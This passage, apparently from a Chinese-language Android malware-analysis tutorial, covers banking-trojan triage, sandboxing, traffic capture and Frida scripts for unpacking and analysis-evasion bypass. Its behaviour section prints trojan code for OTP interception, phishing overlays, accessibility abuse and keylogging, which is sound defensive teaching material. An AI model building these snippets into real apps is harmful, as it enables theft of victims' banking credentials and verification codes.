android:name=\"android.provider.Telephony.SMS_RECEIVED\"/\u003e \u003c/intent-filter\u003e \u003c/receiver\u003e \u003c!-- 开机自启 (持久化) --\u003e \u003creceiver android:name=\".receivers.BootReceiver\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.BOOT_COMPLETED\"/\u003e \u003c/intent-filter\u003e \u003c/receiver\u003e \u003c!-- 设备管理器 (防止卸载) --\u003e \u003creceiver android:name=\".receivers.AdminReceiver\" android:permission=\"android.permission.BIND_DEVICE_ADMIN\"\u003e \u003cmeta-data android:name=\"android.app.device_admin\" android:resource=\"@xml/device_admin\"/\u003e \u003c/receiver\u003e \u003c/application\u003e \u003c/manifest\u003e 恶意权限速查表： 权限 恶意用途 危险等级 RECEIVE_SMS / READ_SMS 拦截银行验证码 高 SEND_SMS 发送付费短信、蠕虫传播 高 BIND_ACCESSIBILITY_SERVICE 覆盖攻击、键盘记录、自动操作 极高 SYSTEM_ALERT_WINDOW 覆盖攻击 (Overlay) 高 BIND_DEVICE_ADMIN 防止卸载、锁定屏幕 极高 RECEIVE_BOOT_COMPLETED 开机自启、持久化 中 REQUEST_IGNORE_BATTERY_OPTIMIZATIONS 保活，后台持续运行 中 RECORD_AUDIO 通话录音、环境监听 高 ACCESS_FINE_LOCATION GPS 定位追踪 高 CAMERA 偷拍 高 READ_CONTACTS 窃取通讯录 中 WRITE_EXTERNAL_STORAGE 加密文件 (勒索) 中 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:2:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#22-manifest-深度审查"},{"categories":null,"collections":null,"content":"2.3 字符串提取与分析 字符串是恶意软件分析的金矿，包含 C2 地址、加密密钥、目标 App 列表等。 # 使用 strings 提取可读字符串 strings suspicious.apk | sort -u \u003e strings_output.txt # 筛选可能的 URL/域名 strings suspicious.apk | grep -iE \"https?://|\\.com|\\.net|\\.org|\\.xyz|\\.top\" # 筛选可能的 IP 地址 strings suspicious.apk | grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" # 筛选可能的 Base64 编码内容 strings suspicious.apk | grep -E \"^[A-Za-z0-9+/]{20,}={0,2}$\" # 搜索 Telegram Bot Token 格式 strings suspicious.apk | grep -E \"[0-9]{8,10}:[A-Za-z0-9_-]{35}\" ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:2:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#23-字符串提取与分析"},{"categories":null,"collections":null,"content":"2.4 代码审查方法论 使用 Jadx 反编译后，按照以下优先级审查代码： 分析优先级: ┌─────────────────────────────────────────┐ │ 1. Application.onCreate() │ \u003c-- 应用启动入口 │ 2. AccessibilityService 实现 │ \u003c-- 核心恶意逻辑 │ 3. BroadcastReceiver 实现 │ \u003c-- 短信拦截、开机自启 │ 4. Service 实现 │ \u003c-- 后台持久化 │ 5. 网络通信类 │ \u003c-- C2 通信 │ 6. 加密/解密相关类 │ \u003c-- 密钥和算法 │ 7. assets / res/raw 资源文件 │ \u003c-- 加密配置、远程 DEX └─────────────────────────────────────────┘ Jadx 中的关键搜索模式: # 在 Jadx 中使用 \"Text Search\" (Ctrl+Shift+F) 搜索以下关键词: # C2 相关 \"http\" \"https\" \"socket\" \"websocket\" \"api.telegram.org\" # 加密相关 \"AES\" \"DES\" \"RSA\" \"Base64\" \"cipher\" \"encrypt\" \"decrypt\" \"SecretKey\" # 敏感 API \"getDeviceId\" \"getSubscriberId\" \"getSimSerialNumber\" \"getLine1Number\" \"getAccounts\" \"SmsManager\" \"ContentResolver\" # 持久化 \"AlarmManager\" \"JobScheduler\" \"WorkManager\" \"startForeground\" # 反分析 \"Build.FINGERPRINT\" \"Build.MODEL\" \"isDebuggerConnected\" \"/proc/\" ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:2:4","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#24-代码审查方法论"},{"categories":null,"collections":null,"content":"动态分析流程 静态分析后进入动态分析阶段，在受控环境中运行样本观察其真实行为。 ┌─────────────────────────────────────────────────────────────────┐ │ 动态分析环境架构 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────────────────────────────────┐ │ │ │ 分析主机 (Host) │ │ │ │ │ │ │ │ ┌──────────┐ ┌──────────┐ ┌────────┐ │ │ │ │ │ Wireshark│ │ Burp │ │ Frida │ │ │ │ │ │ 抓包 │ │ Suite │ │ Server │ │ │ │ │ └────┬─────┘ └────┬─────┘ └───┬────┘ │ │ │ │ │ │ │ │ │ │ └───────┼──────────────┼────────────┼───────┘ │ │ │ │ │ │ │ ┌────v──────────────v────────────v────┐ │ │ │ 隔离网络 (Isolated VLAN) │ │ │ └────────────────┬───────────────────┘ │ │ │ │ │ ┌────────────────v───────────────────┐ │ │ │ 分析设备 / 模拟器 │ │ │ │ │ │ │ │ ┌────────────┐ ┌──────────────┐ │ │ │ │ │ 恶意样本 │ │ Frida Agent │ │ │ │ │ │ (Sandbox) │ │ frida-server │ │ │ │ │ └────────────┘ └──────────────┘ │ │ │ └────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:3:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#动态分析流程"},{"categories":null,"collections":null,"content":"3.1 沙箱环境搭建 安全准则: 绝不在日常使用的设备上运行恶意样本。 # 方案 1: 使用 Android 模拟器 (推荐初学者) # 创建一个无 Google Play 服务的干净模拟器 emulator -avd malware_analysis -no-snapshot -wipe-data # 方案 2: 使用专用物理设备 # 恢复出厂设置后，断开 SIM 卡，使用 WiFi 连接隔离网络 # 方案 3: 使用云端沙箱 # - Joe Sandbox Mobile # - Hybrid Analysis # - VirusTotal (自带沙箱分析) 分析设备准备清单: 准备项 说明 命令/操作 Root 权限 需要 root 才能运行 Frida Magisk / 模拟器自带 root Frida Server 部署 frida-server 到设备 adb push frida-server /data/local/tmp/ 证书安装 安装 Burp/mitmproxy 证书到系统级别 写入 /system/etc/security/cacerts/ tcpdump 设备端抓包 adb push tcpdump /data/local/tmp/ 快照 创建干净环境快照便于重置 模拟器快照 / TWRP 备份 DNS 配置 设置 DNS 到分析主机或受控 DNS 修改 WiFi 配置 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:3:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#31-沙箱环境搭建"},{"categories":null,"collections":null,"content":"3.2 网络流量捕获 # 方法 1: 使用 mitmproxy 捕获 HTTP(S) 流量 mitmproxy --mode transparent --showhost -w malware_traffic.flow # 方法 2: 使用 tcpdump 在设备端全量抓包 adb shell \"/data/local/tmp/tcpdump -i any -s 0 -w /sdcard/capture.pcap\" adb pull /sdcard/capture.pcap # 方法 3: 使用 Wireshark 在主机端监听 # 将设备流量通过主机转发后在 Wireshark 中分析 # 分析 DNS 请求 (定位 C2 域名) tshark -r capture.pcap -Y \"dns.qr == 0\" -T fields -e dns.qry.name | sort -u # 提取 HTTP 请求 tshark -r capture.pcap -Y \"http.request\" -T fields \\ -e ip.dst -e http.host -e http.request.uri ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:3:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#32-网络流量捕获"},{"categories":null,"collections":null,"content":"3.3 行为监控 使用 strace 和 logcat 监控系统调用和日志输出： # 监控文件操作 adb shell \"strace -f -e trace=open,openat,write,unlink \\ -p $(pidof com.malware.package) 2\u003e\u00261\" | tee file_ops.log # 过滤目标进程日志 adb logcat --pid=$(adb shell pidof com.malware.package) # 监控网络连接 adb shell \"cat /proc/$(pidof com.malware.package)/net/tcp\" # 监控新文件创建 (使用 inotifywait) adb shell \"inotifywait -m -r /data/data/com.malware.package/\" ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:3:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#33-行为监控"},{"categories":null,"collections":null,"content":"3.4 Frida 动态插桩概览 Frida 是恶意软件动态分析的核心工具，能在不修改 APK 的情况下监控所有关键 API 调用。后续章节将给出完整的分析脚本。 # 以 spawn 模式启动恶意样本 (推荐，可捕获初始化行为) frida -U -f com.malware.package -l monitor.js --no-pause # 附加到正在运行的进程 frida -U com.malware.package -l monitor.js ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:3:4","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#34-frida-动态插桩概览"},{"categories":null,"collections":null,"content":"常见恶意行为识别 本节详细剖析 Android 恶意软件最常使用的攻击手法及其技术实现。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:4:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#常见恶意行为识别"},{"categories":null,"collections":null,"content":"4.1 短信拦截 (SMS Interception) 银行木马的核心功能之一，用于窃取银行 OTP (一次性密码)： public class SmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get(\"pdus\"); for (Object pdu : pdus) { SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu); String body = sms.getMessageBody(); String sender = sms.getOriginatingAddress(); // Upload SMS to C2 Server uploadSmsToC2(sender, body); // If SMS contains \"verification code\" or other key words, // intercept the broadcast so user cannot see it if (is2FACode(body)) { abortBroadcast(); } } } private boolean is2FACode(String body) { // 检测是否包含验证码相关关键词 String[] keywords = {\"验证码\", \"verification\", \"code\", \"OTP\", \"动态密码\", \"确认码\", \"安全码\"}; for (String kw : keywords) { if (body.toLowerCase().contains(kw.toLowerCase())) { return true; } } return false; } } 检测要点: BroadcastReceiver 的 priority 设为极高值 (如 999)，抢在系统短信应用之前收到广播 调用 abortBroadcast() 阻止短信通知到达用户 Android 4.4+ 后默认短信 App 机制使这种攻击更加复杂，恶意软件可能尝试将自身设为默认短信 App ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:4:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#41-短信拦截-sms-interception"},{"categories":null,"collections":null,"content":"4.2 覆盖攻击 (Overlay Attack) 覆盖攻击是银行木马最典型的凭证窃取手段： ┌─────────────────────────────────────────────────────────────┐ │ 覆盖攻击工作流程 │ │ │ │ [用户打开银行 App] │ │ │ │ │ v │ │ [无障碍服务检测到目标包名] │ │ │ │ │ v │ │ [从 C2 下载对应银行的钓鱼页面] │ │ │ │ │ v │ │ [使用 SYSTEM_ALERT_WINDOW 创建全屏覆盖窗口] │ │ │ │ │ v │ │ ┌──────────────────────────────────┐ │ │ │ 用户看到的界面 (假的银行登录页) │ │ │ │ ┌──────────────────────────┐ │ │ │ │ │ Logo: [银行图标] │ │ │ │ │ │ │ │ │ │ │ │ 用户名: [___________] │ │ \u003c-- WebView 钓鱼页面 │ │ │ │ 密码: [___________] │ │ │ │ │ │ │ │ │ │ │ │ [ 登 录 ] │ │ │ │ │ └──────────────────────────┘ │ │ │ └──────────────────────────────────┘ │ │ │ │ │ v │ │ [用户输入凭证] ──\u003e [JavaScript 回传 Java 层] │ │ │ │ │ v │ │ [上传至 C2 服务器] │ │ │ └─────────────────────────────────────────────────────────────┘ // 覆盖攻击的核心实现 private void showOverlay(String targetPackage) { // 从 C2 下载或从本地加载对应银行的钓鱼 HTML String phishingUrl = getPhishingPage(targetPackage); // 创建全屏覆盖 Window WindowManager.LayoutParams params = new WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, // Android 8.0+ WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN, PixelFormat.TRANSLUCENT ); WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); // 注册 JS Bridge，用于接收用户输入的凭证 webView.addJavascriptInterface(new Object() { @JavascriptInterface public void onCredentialsCaptured(String username, String password) { // 发送到 C2 sendToC2(targetPackage, username, password); // 移除覆盖窗口，显示真实的银行 App removeOverlay(); } }, \"AndroidBridge\"); webView.loadUrl(phishingUrl); windowManager.addView(webView, params); } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:4:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#42-覆盖攻击-overlay-attack"},{"categories":null,"collections":null,"content":"4.3 无障碍服务滥用 (Accessibility Abuse) 无障碍服务是 Android 恶意软件最强大的武器，它可以： 能力 恶意用途 实现方式 读取屏幕内容 窃取显示的敏感信息 event.getText() 模拟点击 自动授权权限、安装 APK performAction(ACTION_CLICK) 模拟手势 绕过手势解锁 dispatchGesture() 监控窗口变化 检测目标 App 启动 TYPE_WINDOW_STATE_CHANGED 读取输入框 键盘记录 TYPE_VIEW_TEXT_CHANGED 全局操作 阻止用户进入设置卸载 performGlobalAction(BACK) public void onAccessibilityEvent(AccessibilityEvent event) { String packageName = event.getPackageName().toString(); // 1. Auto grant permissions (Self-Protection \u0026 Persistence) if (packageName.equals(\"com.android.settings\")) { // If user opens settings page to uninstall or disable permissions, // malware will auto click \"Back\" or \"Cancel\" performGlobalAction(GLOBAL_ACTION_BACK); } // 2. Monitor target banking apps if (TARGET_BANK_APPS.contains(packageName)) { // Detected victim opened banking app showOverlay(packageName); } // 3. Keyboard recording (Keylogging) if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) { String text = event.getText().toString(); logKey(text); } // 4. Auto-click to grant runtime permissions if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) { AccessibilityNodeInfo root = getRootInActiveWindow(); if (root != null) { // 自动点击 \"允许\" 按钮 List\u003cAccessibilityNodeInfo\u003e nodes = root.findAccessibilityNodeInfosByText(\"允许\"); if (!nodes.isEmpty()) { nodes.get(0).performAction(AccessibilityNodeInfo.ACTION_CLICK); } } } } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:4:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#43-无障碍服务滥用-accessibility-abuse"},{"categories":null,"collections":null,"content":"4.4 键盘记录 (Keylogging) 除了无障碍服务方式外，恶意软件还可能通过自定义输入法实现键盘记录： // 方式 1: 通过无障碍服务 (最常见) // 见上面 TYPE_VIEW_TEXT_CHANGED 的处理 // 方式 2: 恶意输入法 public class MaliciousIME extends InputMethodService { @Override public void onText(CharSequence text) { super.onText(text); logKeystroke(text.toString()); } @Override public void onKey(int primaryCode, int[] keyCodes) { char c = (char) primaryCode; logKeystroke(String.valueOf(c)); } } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:4:4","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#44-键盘记录-keylogging"},{"categories":null,"collections":null,"content":"4.5 C2 通信模式识别 ┌─────────────────────────────────────────────────────────────┐ │ 常见 C2 通信模式 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 模式 1: 直连 HTTP/HTTPS │ │ ┌────────┐ HTTPS POST ┌──────────┐ │ │ │ 恶意App │ ───────────────\u003e │ C2 Server │ │ │ └────────┘ JSON/加密体 └──────────┘ │ │ │ │ 模式 2: Telegram Bot API │ │ ┌────────┐ HTTPS ┌──────────┐ Bot API │ │ │ 恶意App │ ───────────────\u003e │ Telegram │ ──────────\u003e │ │ └────────┘ │ Server │ 攻击者 Bot │ │ └──────────┘ │ │ │ │ 模式 3: Firebase / 云服务 │ │ ┌────────┐ HTTPS ┌──────────┐ │ │ │ 恶意App │ ───────────────\u003e │ Firebase │ │ │ └────────┘ │ Firestore│ │ │ └──────────┘ │ │ ↑ │ │ 攻击者通过控制台读取 │ │ │ │ 模式 4: DGA (域名生成算法) │ │ ┌────────┐ 基于日期/种子 ┌──────────┐ │ │ │ 恶意App │ ──生成域名──────\u003e │ 动态 C2 │ │ │ └────────┘ abc123.xyz └──────────┘ │ │ def456.top │ │ ghi789.cc │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:4:5","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#45-c2-通信模式识别"},{"categories":null,"collections":null,"content":"加壳与反分析绕过 恶意软件作者会使用各种手段防止被逆向分析。本节介绍如何应对这些保护措施。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:5:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#加壳与反分析绕过"},{"categories":null,"collections":null,"content":"5.1 常见加壳类型 壳类型 代表 识别方法 脱壳策略 商业壳 360 加固、腾讯乐固、梆梆 APKiD 扫描 DexDump / FART / FDex2 自定义壳 恶意软件自实现 入口类为壳代码 Frida Hook DexClassLoader VMP 壳 指令虚拟化 Native 方法极多 追踪解释器循环 DEX 加密 assets 中加密的 DEX 文件熵值分析 Hook defineClass / 内存 Dump ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:5:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#51-常见加壳类型"},{"categories":null,"collections":null,"content":"5.2 使用 APKiD 识别壳 # 安装 APKiD pip install apkid # 扫描样本 apkid suspicious.apk # 输出示例: # [+] suspicious.apk!classes.dex # |-\u003e compiler : dexlib 2.x # |-\u003e packer : DexProtector # |-\u003e anti_vm : Build.FINGERPRINT check # |-\u003e anti_debug : Debug.isDebuggerConnected ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:5:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#52-使用-apkid-识别壳"},{"categories":null,"collections":null,"content":"5.3 Frida 脱壳脚本 // 通用脱壳思路: Hook DexClassLoader/InMemoryDexClassLoader // 在 DEX 被解密加载到内存时 dump 出来 Java.perform(function() { // Hook DexClassLoader 构造函数 var DexClassLoader = Java.use(\"dalvik.system.DexClassLoader\"); DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { console.log(\"[*] DexClassLoader 加载 DEX:\"); console.log(\" dexPath: \" + dexPath); console.log(\" optDir: \" + optDir); // 读取 DEX 文件内容 var File = Java.use(\"java.io.File\"); var f = File.$new(dexPath); if (f.exists()) { console.log(\" 大小: \" + f.length() + \" bytes\"); // 复制文件到可访问的目录 copyFile(dexPath, \"/data/local/tmp/dumped_\" + Date.now() + \".dex\"); } return this.$init(dexPath, optDir, libPath, parent); }; // Hook InMemoryDexClassLoader (Android 8.0+) try { var InMemoryDexClassLoader = Java.use(\"dalvik.system.InMemoryDexClassLoader\"); InMemoryDexClassLoader.$init.overload( \"java.nio.ByteBuffer\", \"java.lang.ClassLoader\" ).implementation = function(buf, parent) { console.log(\"[*] InMemoryDexClassLoader 内存加载 DEX\"); console.log(\" 大小: \" + buf.remaining() + \" bytes\"); // Dump ByteBuffer 内容 var bytes = new Array(buf.remaining()); for (var i = 0; i \u003c bytes.length; i++) { bytes[i] = buf.get(); } buf.position(0); // 重置位置 var arr = Java.array(\"byte\", bytes); var fos = Java.use(\"java.io.FileOutputStream\"); var out = fos.$new(\"/data/local/tmp/inmem_\" + Date.now() + \".dex\"); out.write(arr); out.close(); console.log(\"[*] DEX 已 dump 到 /data/local/tmp/\"); return this.$init(buf, parent); }; } catch(e) { console.log(\"[-] InMemoryDexClassLoader hook 失败: \" + e); } // Hook defineClass 捕获所有类加载 var ClassLoader = Java.use(\"java.lang.ClassLoader\"); ClassLoader.defineClass.overload( \"java.lang.String\", \"java.nio.ByteBuffer\", \"java.security.ProtectionDomain\" ).implementation = function(name, buf, domain) { console.log(\"[*] defineClass: \" + name); return this.defineClass(name, buf, domain); }; }); function copyFile(src, dst) { Java.perform(function() { var FileInputStream = Java.use(\"java.io.FileInputStream\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var fis = FileInputStream.$new(src); var fos = FileOutputStream.$new(dst); var buf = Java.array(\"byte\", new Array(4096).fill(0)); var len; while ((len = fis.read(buf)) \u003e 0) { fos.write(buf, 0, len); } fis.close(); fos.close(); console.log(\"[+] 文件已复制到: \" + dst); }); } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:5:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#53-frida-脱壳脚本"},{"categories":null,"collections":null,"content":"5.4 绕过反模拟器检测 恶意软件检测模拟器以避免在沙箱中暴露行为： // 常见模拟器检测点及 Frida 绕过 Java.perform(function() { var Build = Java.use(\"android.os.Build\"); // 伪造设备指纹 Build.FINGERPRINT.value = \"samsung/dream2ltexx/dream2lte:9/PPR1.180610.011:eng/user\"; Build.MODEL.value = \"SM-G955F\"; Build.MANUFACTURER.value = \"samsung\"; Build.BRAND.value = \"samsung\"; Build.DEVICE.value = \"dream2lte\"; Build.PRODUCT.value = \"dream2ltexx\"; Build.HARDWARE.value = \"samsungexynos8895\"; Build.BOARD.value = \"universal8895\"; // 绕过电话号码检测 var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getLine1Number.implementation = function() { return \"+8613800138000\"; }; TelephonyManager.getDeviceId.overload().implementation = function() { return \"352840071234567\"; }; TelephonyManager.getSubscriberId.implementation = function() { return \"460001234567890\"; }; TelephonyManager.getSimOperatorName.implementation = function() { return \"中国移动\"; }; TelephonyManager.getNetworkOperatorName.implementation = function() { return \"中国移动\"; }; // 绕过文件检测 (模拟器特有文件) var File = Java.use(\"java.io.File\"); File.exists.implementation = function() { var path = this.getAbsolutePath(); var emulatorFiles = [ \"/dev/socket/qemud\", \"/dev/qemu_pipe\", \"/system/lib/libc_malloc_debug_qemu.so\", \"/sys/qemu_trace\", \"/system/bin/qemu-props\", \"/dev/goldfish_pipe\" ]; for (var i = 0; i \u003c emulatorFiles.length; i++) { if (path === emulatorFiles[i]) { console.log(\"[*] 模拟器文件检测已绕过: \" + path); return false; } } return this.exists(); }; }); ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:5:4","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#54-绕过反模拟器检测"},{"categories":null,"collections":null,"content":"5.5 绕过反调试检测 // 绕过 Debug.isDebuggerConnected() Java.perform(function() { var Debug = Java.use(\"android.os.Debug\"); Debug.isDebuggerConnected.implementation = function() { console.log(\"[*] isDebuggerConnected() 已绕过\"); return false; }; }); // 绕过 /proc/self/status TracerPid 检测 (Native 层) Interceptor.attach(Module.findExportByName(\"libc.so\", \"fopen\"), { onEnter: function(args) { var path = args[0].readUtf8String(); if (path \u0026\u0026 path.indexOf(\"/proc/\") !== -1 \u0026\u0026 path.indexOf(\"/status\") !== -1) { this.isProcStatus = true; } }, onLeave: function(retval) {} }); Interceptor.attach(Module.findExportByName(\"libc.so\", \"fgets\"), { onEnter: function(args) { this.buf = args[0]; }, onLeave: function(retval) { if (this.buf) { var content = this.buf.readUtf8String(); if (content \u0026\u0026 content.indexOf(\"TracerPid\") !== -1) { this.buf.writeUtf8String(\"TracerPid:\\t0\\n\"); console.log(\"[*] TracerPid 检测已绕过\"); } } } }); ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:5:5","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#55-绕过反调试检测"},{"categories":null,"collections":null,"content":"C2 通信协议分析 C2 (Command \u0026 Control) 通信是恶意软件的命脉，切断 C2 就能使恶意软件瘫痪。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:6:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#c2-通信协议分析"},{"categories":null,"collections":null,"content":"6.1 定位 C2 地址 C2 地址的存储方式从简单到复杂： 隐藏方式 难度 提取方法 明文硬编码 低 字符串搜索 Base64 编码 低 解码字符串 异或加密 中 静态分析加密函数 AES/DES 加密存储 中 Hook 解密函数或提取密钥 存储在资源文件中 中 解包分析 assets/res Native SO 中硬编码 高 IDA Pro 分析 DGA (域名生成算法) 高 逆向算法并生成域名列表 多层跳板 (Dead Drop) 高 追踪跳转链 隐写术 (图片中隐藏) 高 分析解码算法 // Frida 脚本: 自动提取 C2 地址 // Hook 所有网络连接相关 API Java.perform(function() { // Hook URL 构造 var URL = Java.use(\"java.net.URL\"); URL.$init.overload(\"java.lang.String\").implementation = function(url) { console.log(\"[URL] \" + url); return this.$init(url); }; // Hook HttpURLConnection.connect() var HttpURLConnection = Java.use(\"java.net.HttpURLConnection\"); HttpURLConnection.connect.implementation = function() { console.log(\"[HTTP] 连接: \" + this.getURL().toString()); console.log(\" 方法: \" + this.getRequestMethod()); return this.connect(); }; // Hook OkHttp (许多恶意软件使用 OkHttp) try { var OkHttpClient = Java.use(\"okhttp3.OkHttpClient\"); OkHttpClient.newCall.implementation = function(request) { var url = request.url().toString(); var method = request.method(); console.log(\"[OkHttp] \" + method + \" \" + url); // 打印请求头 var headers = request.headers(); for (var i = 0; i \u003c headers.size(); i++) { console.log(\" Header: \" + headers.name(i) + \": \" + headers.value(i)); } return this.newCall(request); }; } catch(e) {} // Hook Socket 连接 (用于非 HTTP 协议的 C2) var Socket = Java.use(\"java.net.Socket\"); Socket.connect.overload( \"java.net.SocketAddress\", \"int\" ).implementation = function(addr, timeout) { console.log(\"[Socket] 连接: \" + addr.toString() + \" 超时: \" + timeout); return this.connect(addr, timeout); }; }); ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:6:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#61-定位-c2-地址"},{"categories":null,"collections":null,"content":"6.2 解密 C2 通信 许多银行木马对 C2 通信数据进行加密。以下是 Hook 加解密函数提取明文的方法： Java.perform(function() { // Hook javax.crypto.Cipher var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.doFinal.overload(\"[B\").implementation = function(input) { var mode = this.getOpMode(); // 1=ENCRYPT, 2=DECRYPT var algo = this.getAlgorithm(); var result = this.doFinal(input); if (mode === 1) { console.log(\"\\n[Cipher] 加密操作 (\" + algo + \")\"); console.log(\" 明文: \" + bytesToString(input)); console.log(\" 密文(hex): \" + bytesToHex(result)); } else if (mode === 2) { console.log(\"\\n[Cipher] 解密操作 (\" + algo + \")\"); console.log(\" 密文(hex): \" + bytesToHex(input)); console.log(\" 明文: \" + bytesToString(result)); } return result; }; // Hook SecretKeySpec 提取加密密钥 var SecretKeySpec = Java.use(\"javax.crypto.spec.SecretKeySpec\"); SecretKeySpec.$init.overload(\"[B\", \"java.lang.String\").implementation = function(key, algo) { console.log(\"\\n[Key] 算法: \" + algo); 